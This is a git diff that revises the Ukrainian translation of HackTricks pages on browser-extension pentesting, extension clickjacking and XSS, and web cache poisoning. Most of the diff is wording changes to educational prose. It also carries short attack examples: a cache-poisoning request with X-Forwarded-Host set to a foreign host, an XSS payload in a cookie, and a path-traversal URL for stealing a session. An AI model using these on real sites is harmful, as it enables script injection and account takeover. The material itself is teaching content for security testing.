Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Код джерела переглядача доступний у його [GitHub репозиторії](https://github.com/Rob--W/crxviewer). -### Перегляд виходу локально встановленого розширення +### Перегляд коду локально встановленого розширення Розширення Chrome, встановлені локально, також можна перевірити. Ось як: 1. Доступ до вашого локального профілю Chrome, відвідавши `chrome://version/` і знайдіть поле "Profile Path". 2. Перейдіть до підпапки `Extensions/` у каталозі профілю. -3. Ця папка містить всі встановлені розширення, зазвичай з їх вихідним кодом у читабельному форматі. +3. Ця папка містить всі встановлені розширення, зазвичай з їх кодом джерела у читабельному форматі. Щоб ідентифікувати розширення, ви можете зіставити їх ID з іменами: - Увімкніть режим розробника на сторінці `about:extensions`, щоб побачити ID кожного розширення. - У кожній папці розширення файл `manifest.json` містить читабельне поле `name`, що допомагає вам ідентифікувати розширення. -### Використовуйте архіватор або розпаковувач файлів +### Використовуйте архіватор або декомпресор Перейдіть до Chrome Web Store і завантажте розширення. Файл матиме розширення `.crx`. Змініть розширення файлу з `.crx` на `.zip`. Використовуйте будь-який архіватор (такий як WinRAR, 7-Zip тощо), щоб витягти вміст ZIP-файлу. ### Використовуйте режим розробника в Chrome -Відкрийте Chrome і перейдіть до `chrome://extensions/`. Увімкніть "Режим розробника" у верхньому правому куті. Натисніть "Завантажити розпаковане розширення...". Перейдіть до каталогу вашого розширення. Це не завантажує вихідний код, але корисно для перегляду та модифікації коду вже завантаженого або розробленого розширення. +Відкрийте Chrome і перейдіть до `chrome://extensions/`. Увімкніть "Режим розробника" у верхньому правому куті. Натисніть "Завантажити розпаковане розширення...". Перейдіть до каталогу вашого розширення. Це не завантажує код джерела, але корисно для перегляду та модифікації коду вже завантаженого або розробленого розширення. -## Набір даних маніфестів розширень Chrome +## Набір даних маніфесту розширення Chrome Щоб спробувати виявити вразливі браузерні розширення, ви можете використовувати [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) і перевірити їх маніфест-файли на наявність потенційно вразливих ознак. Наприклад, щоб перевірити розширення з більш ніж 25000 користувачів, `content_scripts` та дозволом `nativeMessaing`: ```bash @@ -642,15 +642,15 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt - [ ] **Обмежити** запитувані **`permissions`** якомога більше - [ ] **Обмежити** **`host_permissions`** якомога більше -- [ ] Використовувати **сильну** **`content_security_policy`** +- [ ] Використовуйте **сильну** **`content_security_policy`** - [ ] **Обмежити** **`externally_connectable`** якомога більше, якщо це не потрібно і можливо, не залишайте його за замовчуванням, вкажіть **`{}`** - [ ] Якщо тут згадується **URL, вразливий до XSS або захоплення**, зловмисник зможе **надсилати повідомлення безпосередньо до фонових скриптів**. Дуже потужний обхід. - [ ] **Обмежити** **`web_accessible_resources`** якомога більше, навіть порожні, якщо можливо. -- [ ] Якщо **`web_accessible_resources`** не порожні, перевірте на [**ClickJacking**](browext-clickjacking.md) +- [ ] Якщо **`web_accessible_resources`** не порожнє, перевірте на [**ClickJacking**](browext-clickjacking.md) - [ ] Якщо відбувається будь-яка **комунікація** від **розширення** до **веб-сторінки**, [**перевірте на XSS**](browext-xss-example.md) **вразливості**, викликані в комунікації. - [ ] Якщо використовуються повідомлення Post, перевірте на [**вразливості Post Message**](../postmessage-vulnerabilities/)**.** - [ ] Якщо **Content Script отримує доступ до деталей DOM**, перевірте, що вони **не вводять XSS**, якщо їх **модифікують** веб -- [ ] Зробіть особливий акцент, якщо ця комунікація також залучена в **комунікацію Content Script -> Фоновий скрипт** +- [ ] Зробіть особливий акцент, якщо ця комунікація також залучена в **комунікацію Content Script -> фоновий скрипт** - [ ] Якщо фоновий скрипт спілкується через **native messaging**, перевірте, що комунікація є безпечною та очищеною - [ ] **Чутливу інформацію не слід зберігати** всередині коду розширення браузера - [ ] **Чутливу інформацію не слід зберігати** всередині пам'яті розширення браузера @@ -665,16 +665,16 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt ### [**Tarnish**](https://thehackerblog.com/tarnish/) - Завантажує будь-яке розширення Chrome з наданого посилання на веб-магазин Chrome. -- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **переглядач**: просто відображає версію JSON з форматуванням розширення. +- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **переглядач**: просто відображає версію JSON з форматуванням маніфесту розширення. - **Аналіз відбитків**: Виявлення [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) та автоматичне генерування JavaScript для відбитків розширення Chrome. -- **Аналіз потенційного Clickjacking**: Виявлення HTML-сторінок розширення з встановленою директивою [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Вони можуть бути вразливими до clickjacking в залежності від мети сторінок. +- **Аналіз потенційного Clickjacking**: Виявлення HTML-сторінок розширення з директивою [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Вони можуть бути вразливими до clickjacking в залежності від мети сторінок. - **Переглядач попереджень про дозволи**: який показує список усіх попереджень про запити дозволів Chrome, які будуть відображені при спробі користувача встановити розширення. - **Небезпечні функції**: показує місце розташування небезпечних функцій, які можуть бути потенційно використані зловмисником (наприклад, функції, такі як innerHTML, chrome.tabs.executeScript). -- **Точки входу**: показує, де розширення приймає вхідні дані від користувача/зовнішніх джерел. Це корисно для розуміння поверхні розширення та пошуку потенційних точок для надсилання зловмисно створених даних до розширення. +- **Точки входу**: показує, де розширення приймає вхідні дані від користувача/зовнішні дані. Це корисно для розуміння поверхні розширення та пошуку потенційних точок для надсилання зловмисно створених даних до розширення. - Як сканери Небезпечних функцій, так і Точок входу мають наступне для своїх згенерованих сповіщень: - Відповідний фрагмент коду та рядок, що викликав сповіщення. - Опис проблеми. -- Кнопка "Переглянути файл", щоб переглянути повний вихідний файл, що містить код. +- Кнопка "Переглянути файл" для перегляду повного вихідного файлу, що містить код. - Шлях до сповіщеного файлу. - Повний URI розширення Chrome сповіщеного файлу. - Тип файлу, наприклад, скрипт фонової сторінки, скрипт контенту, дія браузера тощо. @@ -685,11 +685,11 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt - Завантажити оригінальне розширення. - Завантажити покращену версію розширення (автоформатований HTML та JavaScript). - Автоматичне кешування результатів сканування, запуск сканування розширення займе багато часу під час першого запуску. Однак під час другого запуску, якщо розширення не було оновлено, це буде майже миттєво через кешування результатів. -- Посилання на звіти, які легко посилати іншим на звіт про розширення, згенерований tarnish. +- Посилання на URL звітів, легко поділитися з кимось іншим звітом про розширення, згенерованим tarnish. ### [Neto](https://github.com/elevenpaths/neto) -Проект Neto - це пакет Python 3, призначений для аналізу та виявлення прихованих функцій плагінів і розширень браузера для відомих браузерів, таких як Firefox і Chrome. Він автоматизує процес розпакування упакованих файлів для вилучення цих функцій з відповідних ресурсів у розширенні, таких як `manifest.json`, папки локалізації або вихідні файли JavaScript і HTML. +Проект Neto - це пакет Python 3, призначений для аналізу та виявлення прихованих функцій плагінів і розширень браузера для відомих браузерів, таких як Firefox і Chrome. Він автоматизує процес розпакування упакованих файлів для витягування цих функцій з відповідних ресурсів у розширенні, таких як `manifest.json`, папки локалізації або вихідні файли Javascript і HTML. ## Посилання diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index e3dc1ede1..f1a227d6d 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -2,10 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація Ця сторінка буде використовувати вразливість ClickJacking у розширенні браузера.\ -Якщо ви не знаєте, що таке ClickJacking, перевірте: +Якщо ви не знаєте, що таке ClickJacking, ознайомтеся з: {{#ref}} ../clickjacking.md @@ -23,9 +23,9 @@ Однак ця функція представляє собою ризик для безпеки. Якщо ресурс у **`web_accessible_resources`** має будь-яку значну функціональність, зловмисник може потенційно вбудувати цей ресурс у зовнішню веб-сторінку. Непідозрюючі користувачі, які відвідують цю сторінку, можуть ненавмисно активувати цей вбудований ресурс. Така активація може призвести до непередбачуваних наслідків, залежно від дозволів і можливостей ресурсів розширення. -## PrivacyBadger Example +## Приклад PrivacyBadger -У розширенні PrivacyBadger була виявлена вразливість, пов'язана з тим, що директорія `skin/` була оголошена як `web_accessible_resources` наступним чином (перевірте оригінальний [блог пост](https://blog.lizzie.io/clickjacking-privacy-badger.html)): +У розширенні PrivacyBadger була виявлена вразливість, пов'язана з тим, що директорія `skin/` була оголошена як `web_accessible_resources` наступним чином (перевірте оригінальний [блог-пост](https://blog.lizzie.io/clickjacking-privacy-badger.html)): ```json "web_accessible_resources": [ "skin/*", @@ -34,7 +34,7 @@ ``` Ця конфігурація призвела до потенційної проблеми безпеки. Зокрема, файл `skin/popup.html`, який відображається при взаємодії з іконкою PrivacyBadger у браузері, може бути вбудований в `iframe`. Це вбудовування може бути використане для обману користувачів, змушуючи їх випадково натискати на "Вимкнути PrivacyBadger для цього веб-сайту". Така дія порушить конфіденційність користувача, вимкнувши захист PrivacyBadger і потенційно піддаючи користувача підвищеному відстеженню. Візуальну демонстрацію цього експлойту можна переглянути у відео прикладі ClickJacking, наданому за посиланням [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). -Щоб усунути цю вразливість, було реалізовано просте рішення: видалення `/skin/*` зі списку `web_accessible_resources`. Ця зміна ефективно зменшила ризик, забезпечивши, що вміст каталогу `skin/` не може бути доступний або маніпульований через веб-доступні ресурси. +Щоб вирішити цю вразливість, було реалізовано просте рішення: видалення `/skin/*` зі списку `web_accessible_resources`. Ця зміна ефективно зменшила ризик, забезпечивши, що вміст каталогу `skin/` не може бути доступний або маніпульований через веб-доступні ресурси. Виправлення було простим: **видалити `/skin/*` з `web_accessible_resources`**. @@ -75,7 +75,7 @@ src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html"> ``` ## Metamask Example -A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example): +A [**блог пост про ClickJacking в metamask можна знайти тут**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). У цьому випадку Metamask виправив вразливість, перевіряючи, що протокол, використаний для доступу, був **`https:`** або **`http:`** (не **`chrome:`**, наприклад):
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 47e2ae917..8848dafdf 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -43,14 +43,14 @@ ### Вкладки -Більше того, **`host_permissions`** також відкриває "розширену" [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **функціональність.** Вони дозволяють розширенню викликати [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) і не лише отримувати **список вкладок браузера користувача**, але й дізнаватися, яка **веб-сторінка (тобто адреса та заголовок) завантажена**. +Більше того, **`host_permissions`** також відкриває “розширену” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **функціональність.** Вони дозволяють розширенню викликати [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) і не лише отримувати **список вкладок браузера користувача**, але й дізнаватися, яка **веб-сторінка (тобто адреса та заголовок) завантажена**. > [!CAUTION] > Не лише це, слухачі, такі як [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **також стають набагато кориснішими**. Вони будуть сповіщені щоразу, коли нова сторінка завантажується у вкладку. ### Виконання контентних скриптів -Контентні скрипти не обов'язково записуються статично в маніфест розширення. За наявності достатніх **`host_permissions`**, **розширення також можуть завантажувати їх динамічно, викликаючи** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **або** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). +Контентні скрипти не обов'язково пишуться статично в маніфесті розширення. За наявності достатніх **`host_permissions`**, **розширення також можуть завантажувати їх динамічно, викликаючи** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **або** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). Обидва API дозволяють виконувати не лише файли, що містяться в розширеннях як контентні скрипти, але й **произвольний код**. Перший дозволяє передавати JavaScript код як рядок, тоді як другий очікує JavaScript функцію, яка менш схильна до вразливостей ін'єкцій. Проте, обидва API можуть завдати шкоди, якщо їх неправильно використовувати. @@ -59,9 +59,9 @@ ### Непрямі привілеї -Деякі привілеї розширення **не потрібно явно оголошувати**. Один приклад - [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): його базова функціональність доступна без будь-яких привілеїв. Будь-яке розширення може отримувати сповіщення, коли ви відкриваєте та закриваєте вкладки, воно просто не знатиме, з яким веб-сайтом ці вкладки пов'язані. +Деякі привілеї розширення **не потрібно явно оголошувати**. Один приклад - [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): його базова функціональність доступна без будь-яких привілеїв. Будь-яке розширення може бути сповіщене, коли ви відкриваєте та закриваєте вкладки, воно просто не знатиме, з яким веб-сайтом ці вкладки пов'язані. -Здається, занадто безпечно? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) є дещо менш безпечним. Його можна використовувати для **створення нової вкладки**, фактично так само, як [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open), який може бути викликаний будь-яким веб-сайтом. Проте, поки `window.open()` підлягає **блокуванню спливаючих вікон, `tabs.create()` - ні**. +Здається, занадто безпечно? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) є дещо менш безпечним. Його можна використовувати для **створення нової вкладки**, фактично так само, як [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open), який може бути викликаний будь-яким веб-сайтом. Проте, поки `window.open()` підлягає **блокувальнику спливаючих вікон, `tabs.create()` - ні**. > [!CAUTION] > Розширення може створювати будь-яку кількість вкладок, коли захоче. @@ -77,7 +77,7 @@ > [!CAUTION] > Не так з браузерними розширеннями. **Якщо браузерне розширення** [**хоче доступ до вашої веб-камери або мікрофона**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, йому потрібно лише один раз запитати дозвіл** -Зазвичай розширення робить це відразу після установки. Як тільки цей запит прийнято, **доступ до веб-камери можливий у будь-який час**, навіть якщо користувач не взаємодіє з розширенням у цей момент. Так, користувач прийме цей запит лише якщо розширення дійсно потребує доступу до веб-камери. Але після цього їм потрібно довіряти розширенню, що воно не буде нічого записувати таємно. +Зазвичай розширення робить це відразу після установки. Після того, як цей запит буде прийнятий, **доступ до веб-камери можливий у будь-який час**, навіть якщо користувач не взаємодіє з розширенням у цей момент. Так, користувач прийме цей запит лише якщо розширення дійсно потребує доступу до веб-камери. Але після цього їм потрібно довіряти розширенню, що воно не буде нічого записувати таємно. З доступом до [вашого точного географічного положення](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) або [вмісту вашого буфера обміну](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), надання дозволу явно зовсім не є необхідним. **Розширення просто додає `geolocation` або `clipboard` до** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **свого маніфесту**. Ці привілеї доступу надаються непрямо, коли розширення встановлюється. Таким чином, зловмисне або скомпрометоване розширення з цими привілеями може створити ваш профіль переміщення або моніторити ваш буфер обміну для скопійованих паролів, не помічаючи нічого. @@ -97,9 +97,9 @@ ## Запобігання -Політика розробника Google чітко забороняє розширенням запитувати більше привілеїв, ніж необхідно для їх функціональності, ефективно зменшуючи надмірні запити на дозволи. Прикладом, коли браузерне розширення перевищило цю межу, стало його розповсюдження разом з самим браузером, а не через магазин доповнень. +Політика розробника Google чітко забороняє розширенням запитувати більше привілеїв, ніж необхідно для їх функціональності, ефективно зменшуючи надмірні запити на дозволи. Прикладом, коли браузерне розширення перевищило цю межу, стало його розповсюдження разом з браузером, а не через магазин доповнень. -Браузери можуть ще більше обмежити зловживання привілеями розширення. Наприклад, API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) та [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) Chrome, які використовуються для запису екрану, розроблені для мінімізації зловживань. API tabCapture може бути активовано лише через безпосередню взаємодію користувача, наприклад, натискання на значок розширення, тоді як desktopCapture вимагає підтвердження користувача для запису вікна, запобігаючи таємним записам. +Браузери також можуть додатково обмежити зловживання привілеями розширення. Наприклад, API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) та [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) Chrome, які використовуються для запису екрану, розроблені для мінімізації зловживань. API tabCapture може бути активовано лише через безпосередню взаємодію користувача, наприклад, натискання на значок розширення, тоді як desktopCapture вимагає підтвердження користувача для запису вікна, запобігаючи таємним записам. Проте, посилення заходів безпеки часто призводить до зниження гнучкості та зручності використання розширень. Дозвіл [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ілюструє цю компроміс. Він був введений, щоб усунути необхідність для розширень запитувати привілеї хостів по всьому інтернету, дозволяючи розширенням отримувати доступ лише до поточної вкладки за явною активацією користувача. Ця модель ефективна для розширень, які потребують дій, ініційованих користувачем, але не підходить для тих, які потребують автоматичних або превентивних дій, тим самим компрометуючи зручність та миттєву реакцію. diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 52f335d84..92fef3571 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -1,10 +1,10 @@ -# BrowExt - XSS Example +# BrowExt - XSS Приклад {{#include ../../banners/hacktricks-training.md}} -## Cross-Site Scripting (XSS) через Iframe +## Міжсайтовий скриптинг (XSS) через Iframe -У цій конфігурації реалізовано **скрипт контенту**, який створює Iframe, використовуючи URL з параметрами запиту як джерело Iframe: +У цій конфігурації реалізовано **скрипт контенту**, щоб створити Iframe, включаючи URL з параметрами запиту як джерело Iframe: ```javascript chrome.storage.local.get("message", (result) => { let constructedURL = @@ -58,7 +58,7 @@ document.body.append(newFrame) Цей приклад був взятий з [оригінального поста](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). -Основна проблема виникає з уразливості Cross-site Scripting (XSS), що базується на DOM, розташованої в **`/html/bookmarks.html`**. Проблемний JavaScript, частина **`bookmarks.js`**, детально описаний нижче: +Основна проблема виникає з вразливості Cross-site Scripting (XSS), що базується на DOM, розташованої в **`/html/bookmarks.html`**. Проблемний JavaScript, частина **`bookmarks.js`**, детально описаний нижче: ```javascript $("#btAdd").on("click", function () { var bookmarkName = $("#txtName").val() @@ -94,7 +94,7 @@ persistData() [...] ], ``` -Зокрема, сторінка **`/html/bookmarks.html`** підлягає фреймінгу, отже, вразлива до **clickjacking**. Ця вразливість використовується для фреймінгу сторінки в межах сайту зловмисника, накладаючи на неї елементи DOM для обманного redesign інтерфейсу. Це маніпулювання призводить до того, що жертви взаємодіють з основним розширенням ненавмисно. +Зокрема, сторінка **`/html/bookmarks.html`** підлягає фреймінгу, отже, вразлива до **clickjacking**. Ця вразливість використовується для фреймінгу сторінки в межах сайту зловмисника, накладаючи на неї елементи DOM для обманного redesign інтерфейсу. Це маніпулювання змушує жертв взаємодіяти з основним розширенням ненавмисно. ## References diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 1d4b2ef00..d79533491 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -7,7 +7,7 @@ > **У чому різниця між пошкодженням веб-кешу та обманом веб-кешу?** > > - У **пошкодженні веб-кешу** зловмисник змушує додаток зберігати деякий шкідливий контент у кеші, і цей контент надається іншим користувачам додатка з кешу. -> - У **обмані веб-кешу** зловмисник змушує додаток зберігати деякий чутливий контент, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей контент з кешу. +> - У **обмані веб-кешу** зловмисник змушує додаток зберігати деякий чутливий контент, що належить іншому користувачеві, у кеші, а потім зловмисник отримує цей контент з кешу. ## Пошкодження кешу @@ -15,7 +15,7 @@ Виконання атаки на пошкодження кешу включає кілька етапів: -1. **Ідентифікація незахищених вхідних даних**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінити відповідь, що повертається сервером. Ідентифікація цих вхідних даних є критично важливою, оскільки їх можна використовувати для маніпуляції кешем. +1. **Ідентифікація незахищених вхідних даних**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінювати відповідь, що повертається сервером. Ідентифікація цих вхідних даних є критично важливою, оскільки їх можна використовувати для маніпуляції кешем. 2. **Експлуатація незахищених вхідних даних**: Після ідентифікації незахищених вхідних даних наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника. 3. **Забезпечення кешування забрудненої відповіді**: Останній крок полягає в тому, щоб переконатися, що маніпульована відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час забруднення кешу, отримає забруднену відповідь. @@ -43,14 +43,14 @@ cache-poisoning-to-dos.md ``` ### Викликати шкідливу відповідь від серверу -З ідентифікованим параметром/заголовком перевірте, як він **санітується** і **де** він **відображається** або впливає на відповідь з заголовка. Чи можете ви зловживати цим (виконати XSS або завантажити JS-код, контрольований вами? виконати DoS?...) +З ідентифікованим параметром/заголовком перевірте, як він **санітується** і **де** він **відображається** або впливає на відповідь з заголовка. Чи можете ви зловживати цим (виконати XSS або завантажити JS код, контрольований вами? виконати DoS?...) ### Отримати відповідь в кеші -Після того, як ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** його **зловживати**, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд. +Якщо ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** зловживати ним, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд. -Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`**, коли запит не був закешований, і значення **`hit`**, коли він закешований.\ -Заголовок **`Cache-Control`** також цікавий, щоб дізнатися, чи ресурс кешується і коли наступного разу ресурс буде закешований знову: `Cache-Control: public, max-age=1800` +Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`**, коли запит не був кешований, і значення **`hit`**, коли він кешований.\ +Заголовок **`Cache-Control`** також цікавий, щоб дізнатися, чи ресурс кешується і коли наступного разу ресурс буде кешований знову: `Cache-Control: public, max-age=1800` Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не мають ключа. Тому, якщо користувач знає `User-Agent` жертви, на яку він націлений, він може отруїти кеш для користувачів, які використовують цей конкретний `User-Agent`. @@ -95,7 +95,7 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" cache-poisoning-via-url-discrepancies.md {{#endref}} -### Отруєння кешу з використанням обходу шляху для викрадення API ключа +### Отруєння кешу з обходом шляху для викрадення API ключа [**Цей звіт пояснює**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), як було можливим викрасти API ключ OpenAI за допомогою URL, як-от `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, оскільки все, що відповідає `/share/*`, буде кешуватися без нормалізації URL Cloudflare, що було зроблено, коли запит досяг веб-сервера. @@ -105,18 +105,18 @@ cache-poisoning-via-url-discrepancies.md cache-poisoning-via-url-discrepancies.md {{#endref}} -### Використання кількох заголовків для експлуатації вразливостей отруєння веб-кешу +### Використання кількох заголовків для експлуатації вразливостей отруєння кешу -Іноді вам потрібно буде **експлуатувати кілька неключових вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, що контролюється вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу. +Іноді вам потрібно буде **експлуатувати кілька незаключених вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, що контролюється вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### Використання з обмеженим заголовком `Vary` +### Використання з обмеженим `Vary` заголовком -Якщо ви виявили, що заголовок **`X-Host`** використовується як **ім'я домену для завантаження JS-ресурсу**, але заголовок **`Vary`** у відповіді вказує на **`User-Agent`**. Тоді вам потрібно знайти спосіб ексфільтрувати User-Agent жертви та отруїти кеш, використовуючи цей User-Agent: +Якщо ви виявили, що **`X-Host`** заголовок використовується як **ім'я домену для завантаження JS ресурсу**, але **`Vary`** заголовок у відповіді вказує на **`User-Agent`**. Тоді вам потрібно знайти спосіб ексфільтрувати User-Agent жертви та отруїти кеш, використовуючи цей User-Agent: ```markup GET / HTTP/1.1 Host: vulnerbale.net @@ -136,9 +136,9 @@ report=innocent-victim ``` There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) -### Параметричне приховування +### Параметричне маскування -Наприклад, можливо розділити **параметри** на ruby-серверах, використовуючи символ **`;`** замість **`&`**. Це може бути використано для вставлення значень непараметризованих параметрів всередину параметризованих і їх зловживання. +Наприклад, можливо розділити **параметри** на ruby-серверах, використовуючи символ **`;`** замість **`&`**. Це може бути використано для вставлення значень непідключених параметрів всередину підключених і їх зловживання. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) @@ -148,7 +148,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo ### Автоматизоване тестування для Web Cache Poisoning -[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на наявність вразливостей до web cache poisoning. Він підтримує багато різних технік і є високонастроювальним. +[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на наявність вразливостей веб-кешування. Він підтримує багато різних технік і є високонастроювальним. Приклад використання: `wcvs -u example.com` @@ -174,9 +174,9 @@ GitLab використовує GCP buckets для зберігання стат Cloudflare раніше кешував 403 відповіді. Спроба доступу до S3 або Azure Storage Blobs з неправильними заголовками авторизації призводила до 403 відповіді, яка кешувалася. Хоча Cloudflare припинив кешування 403 відповідей, ця поведінка може все ще бути присутня в інших проксі-сервісах. -### Впровадження параметризованих параметрів +### Вставка ключових параметрів -Кеші часто включають специфічні GET параметри в ключ кешу. Наприклад, Varnish від Fastly кешував параметр `size` у запитах. Однак, якщо URL-кодована версія параметра (наприклад, `siz%65`) також була надіслана з помилковим значенням, ключ кешу буде сформований, використовуючи правильний параметр `size`. Проте бекенд обробляв значення в URL-кодованому параметрі. URL-кодування другого параметра `size` призвело до його пропуску кешем, але його використанням бекендом. Призначення значення 0 цьому параметру призвело до кешованої помилки 400 Bad Request. +Кеші часто включають специфічні GET параметри в ключ кешу. Наприклад, Varnish від Fastly кешував параметр `size` у запитах. Однак, якщо URL-кодована версія параметра (наприклад, `siz%65`) також була надіслана з помилковим значенням, ключ кешу буде сформований, використовуючи правильний параметр `size`. Проте бекенд обробляв значення в URL-кодованому параметрі. URL-кодування другого параметра `size` призвело до його пропуску кешем, але його використання бекендом. Призначення значення 0 для цього параметра 